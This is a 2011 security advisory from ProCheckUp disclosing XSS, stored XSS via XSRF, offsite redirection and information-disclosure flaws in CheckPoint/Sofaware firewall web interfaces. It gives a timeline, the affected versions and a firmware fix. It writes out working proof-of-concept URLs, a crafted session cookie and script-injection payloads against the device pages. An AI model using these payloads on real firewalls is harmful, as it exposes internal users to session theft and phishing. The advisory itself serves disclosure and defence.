PR11-07 Multiple peristent XSS, XSS, XSRF, offsite redirection and information disclosure flaws within CheckPoint/Sofaware firewalls

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ProCheckUp Research

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PR11-07 Multiple peristent XSS, XSS, XSRF, offsite redirection and information 
disclosure flaws within CheckPoint/Sofaware firewalls
 
Vulnerability found: 3rd May 2011

Vendor informed:  20th July 2011

Vulnerability fixed: 16th October 2011/14 December 2011

Severity: High

Description: 

CheckPoint/Sofaware firewalls are popular compact UTM (Unified Threat 
Management) devices, commonly found deployed in corporate satellite offices 
sometimes even within private households. ProCheckUp has discovered that 
multiple peristent XSS, XSS, XSRF, offsite redirection and information 
disclosure vulnerabilities exist within these firewalls. Which might allow the 
protective nature of the firewall to be subverted, placing internal users at 
risk from attack.

Please see our paper titled "Checkpoint/SofaWare Firewall Vulnerability 
Research", for more better details.


Tested on versions 7.5.48x, 8.1.46x and 8.2.2x.


1) The following demonstrate the reflective XSS flaws:-

a) The Ufp.html page is vulnerable to XSS via the url parameter
It works by submitting a malicious url parameter to the ufp.html page
http://192.168.10.1/pub/ufp.html?url=";><script>alert(1)</script>&mask=000&swpreview=1

This works with firmware versions 7.5.48x, 8.1.46x and 8.2.2x.

b) The login page is also vulnerable to an XSS via the malicious session cookie
It works by submitting a malicious session cookie to the login page
Cookie: session="><script>alert(1)</script>

c) An authenticated XSS exists within the diagnostics command
http://192.168.10.1/diag_command.html?sw__ver=blah1&swdata=blah2&sw__custom='");alert(1);//
(this might need to be submitted twice)


Consequences: 
An attacker may be able to cause execution of malicious scripting code in the 
browser of a user who clicks on a link to Checkpoint firewall hosted page. Such 
code would run within the security context of the target domain. This type of 
attack can result in non-persistent defacement of the target site, or the 
redirection of confidential information (i.e.: session IDs) to unauthorised 
third parties.

2) The following demonstrate the persistent XSS flaws and XSRF flaws:-

a) The blocked URL warning page is vulnerable to a persistent XSS attack 
placing any internal users at risk of attack when the page is displayed.

First an attacker has to trick the administrator to follow a XSRF attack; the 
(swsessioncookie) session cookie for simplicity sake is shown though JavaScript 
document.cookie can be used to subvert this protection (see paper).
http://192.168.10.1/UfpBlock.html?swcaller=UfpBlock.html&swsessioncookie=20KHYp5-oS7rKmS-a4rq4j&swsave=1&ufpblockhttps=0&ufpbreakframe=&backurl=WebRules.html&ufpblockterms=%22%3E%3Cscript%3Ealert%281%29%3C%2Fscript%3E

Firewall users then visiting blocked sites will have the blocked page displayed 
and the attack carried out.
http://192.168.10.1/pub/ufp.html?url=www.blockedUrl.com&mask=000&swpreview=1

b) The Wi-Fi hotspot landing page on Wi-Fi enabled firewalls is also 
vulnerable, with any user using the Wi-Fi access point being at risk.

First an attacker has to trick the administrator to follow a XSRF attack, the 
(swsessioncookie) session cookie for simplicity sake is shown though JavaScript 
document.cookie can be used to subvert this protection (see paper).
http://192.168.10.1/HotSpot.html?swcaller=HotSpot.html&swsessioncookie=20KHYp5-oS7rKmS-a4rq4j&swsave=1&hotspotnets=00000000000000000000000000000000000000&hotspotpass=1&hotspotmulti=1&hotspothttps=0&hotspotnet1=0&hotspotnet2=0&hotspotnet3=0&hotspotenf=0&hotspottitle=Welcome+to+My+HotSpot&hotspotterms=%22%3E%3Cscript%3Ealert%282%29%3C%2Fscript%3E&thotspotpass=on&thotspotmulti=on

Firewall users then visiting the Wi-Fi landing page will then have the attack 
carried out.
http://192.168.10.1/pub/hotspot.html?swpreview=1


Consequences: 
An attacker may be able to cause execution of malicious scripting code in the 
browser of a user who clicks on a link to Checkpoint firewall hosted page. Such 
code would run within the security context of the target domain. Using 
persistent XSS attacks the attacker does not have to trick his victims to visit 
his malicious page, as the malicious code is stored by and becomes part of the 
webpage.


3) The following demonstrate the (authenticated) offsite redirection flaws:-

a) Enter the following URL to redirect
http://192.168.10.1/12?swcaller=http://www.procheckup.com

b) Enter the following URL and then press back button.
http://192.168.10.1/UfpBlock.html?backurl=http://www.procheckup.com

Consequences:
Offsite redirection is typically used to perform phishing type attacks, by 
fooling an authenticated user to re-enter authentication details in an external 
site.

4) The following demonstrate the Information disclosure flaws (no 
authentication needed)
It was found that the /pub/test.html program disclosed information, regarding 
the patch level used, licensing and the MAC addresses to unauthenticated users.

a) On early firmware versions 5.0.82x, 6.0.72x & 7.0.27x 7.5.48x
Just requesting http:// 192.168.10.1/pub/test.html is sufficient

b) However this no longer worked on versions 8.1.46x & 8.2.26x however adding 
the URL parameter and a double quote bypassed this check
https:// 192.168.10.1/pub/test.html?url="


Consequences: 
An attacker may be able to obtain additional information on the machines 
configuration, and use this information to carry out further attacks.

Fix:
Upgrade to firmware version 8.2.44 or higher, which solves these 
vulnerabilities 
https://supportcenter.checkpoint.com/supportcenter/portal?eventSubmit_doGoviewsolutiondetails=&solutionid=sk65460

References: 
http://www.procheckup.com/Vulnerabilities.php


Credits: Richard Brain of ProCheckUp Ltd (www.procheckup.com)


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